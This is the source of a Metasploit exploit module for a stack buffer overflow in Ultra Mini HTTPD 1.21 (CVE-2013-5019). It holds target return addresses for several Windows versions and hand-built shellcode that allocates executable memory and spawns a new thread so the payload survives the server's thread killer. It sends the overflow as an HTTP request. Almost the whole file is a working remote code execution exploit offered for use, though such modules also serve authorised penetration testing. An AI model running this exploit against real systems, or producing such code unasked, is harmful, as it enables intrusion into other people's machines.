metasploit-framework/modules/exploits/windows/http/ultraminihttp_bof.rb

172 lines
6.3 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
ADDR_VIRTUALALLOC = 0x0041A140
ADDR_CREATETHREAD = 0x0041A240
ADDR_TERMINATETHREAD = 0x0041A23C
def initialize(info={})
super(update_info(info,
'Name' => "Ultra Mini HTTPD Stack Buffer Overflow",
'Description' => %q{
This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,
allowing remote attackers to execute arbitrary code via a long resource name in an HTTP
request. This exploit has to deal with the fact that the application's request handler
thread is terminated after 60 seconds by a "monitor" thread. To do this, it allocates
some RWX memory, copies the payload to it and creates another thread. When done, it
terminates the current thread so that it doesn't crash and hence doesn't bring down
the process with it.
},
'License' => MSF_LICENSE,
'Author' =>
[
'superkojiman', # Discovery, PoC
'PsychoSpy <neinwechter[at]gmail.com>', # Metasploit
'OJ Reeves <oj[at]buffered.io>' # Metasploit
],
'References' =>
[
['OSVDB', '95164'],
['EDB','26739'],
['CVE','2013-5019'],
['BID','61130']
],
'Payload' =>
{
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"
},
'DefaultOptions' =>
{
'EXITFUNC' => "thread"
},
'Platform' => 'win',
'Targets' =>
[
[
'v1.21 - Windows Server 2000',
{
'Offset' => 5412,
'Ret' => 0x78010324 # push esp / ret - msvcrt.dll
}
],
[
'v1.21 - Windows XP SP0',
{
'Offset' => 5412,
'Ret' => 0x77C4C685 # push esp / ret - msvcrt.dll
}
],
[
'v1.21 - Windows XP SP2/SP3',
{
'Offset' => 5412,
'Ret' => 0x77c354b4 # push esp / ret - msvcrt.dll
}
],
[
'v1.21 - Windows Server 2003 (Enterprise)',
{
'Offset' => 5412,
'Ret' => 0x77BDD7F5 # push esp / ret - msvcrt.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jul 10 2013',
'DefaultTarget' => 0
))
end
def mov_eax(addr)
"\xB8" + [addr].pack("V*")
end
def call_addr_eax(addr)
mov_eax(addr) + "\xff\x10"
end
def exploit
new_thread = ""
# we use 0 a lot, so set EBX to zero so we always have it handy
new_thread << "\x31\xdb" # xor ebx,ebx
# store esp in esi, and offset it to point at the rest of the payload
# as this will be used as the source for copying to the area of memory
# which will be executed in a separate thread. We fill in the offset
# at the end as we can calculate it instead of hard-code it
new_thread << "\x89\xe6" # mov esi,esp
new_thread << "\x83\xc6\x00" # add esp,<TODO>
esi_count_offset = new_thread.length - 1
# Create a new area of memory with RWX permissions that we can copy
# the payload to and execute in another thread. This is required
# because the current thread is killed off after 60 seconds and it
# takes our payload's execution with it.
new_thread << "\x6a\x40" # push 0x40
new_thread << "\x68\x00\x30\x00\x00" # push 0x3000
new_thread << "\x68\x00\x10\x00\x00" # push 0x1000
new_thread << "\x53" # push ebx (0)
new_thread << call_addr_eax(ADDR_VIRTUALALLOC) # call VirtualAlloc
# copy the rest of the payload over to the newly allocated area of
# memory which is executable.
payload_size = [payload.encoded.length].pack("V*")
new_thread << "\xb9" + payload_size # mov ecx,payload_size
new_thread << "\x89\xc7" # mov edi,eax
new_thread << "\xf2\xa4" # rep movsb
# kick of the payload in a new thread
new_thread << "\x53" # push ebx (0)
new_thread << "\x53" # push ebx (0)
new_thread << "\x53" # push ebx (0)
new_thread << "\x50" # push eax (payload dress)
new_thread << "\x53" # push ebx (0)
new_thread << "\x53" # push ebx (0)
new_thread << call_addr_eax(ADDR_CREATETHREAD) # call CreateThread
# Terminate the current thread so that we don't crash and hence bring
# the entire application down with us.
new_thread << "\x53" # push ebx (0)
# set ebx to 0xFFFFFFFE as this is the psuedohandle for the current thread
new_thread << "\x4b" # dec ebx
new_thread << "\x4b" # dec ebx
new_thread << "\x53" # push ebx (0xFFFFFFFE)
new_thread << call_addr_eax(ADDR_TERMINATETHREAD) # call CreateThread
# patch the offset of esi back into the payload
nops = 32
decode_stub_size = 23
calculated_offset = new_thread.length + nops + decode_stub_size
new_thread[esi_count_offset, 1] = [calculated_offset].pack("c*")
# start constructing our final payload
buf = rand_text_alpha_upper(target['Offset'])
buf << [target.ret].pack("V*")
# ESP points right to the top of our shellcode so we just add a few nops
# to the start to avoid having the first few bytes nailed by the decoder.
buf << make_nops(nops)
# we re-encode, including the thread creation stuff and the chosen payload
# as we don't currently have the ability to "prepend raw" stuff to the front
# of the buffer prior to encoding.
buf << encode_shellcode_stub(new_thread)
buf << payload.encoded
print_status("Sending buffer...")
send_request_cgi({
'method' => 'POST',
'uri' => "/#{buf}"
})
end
end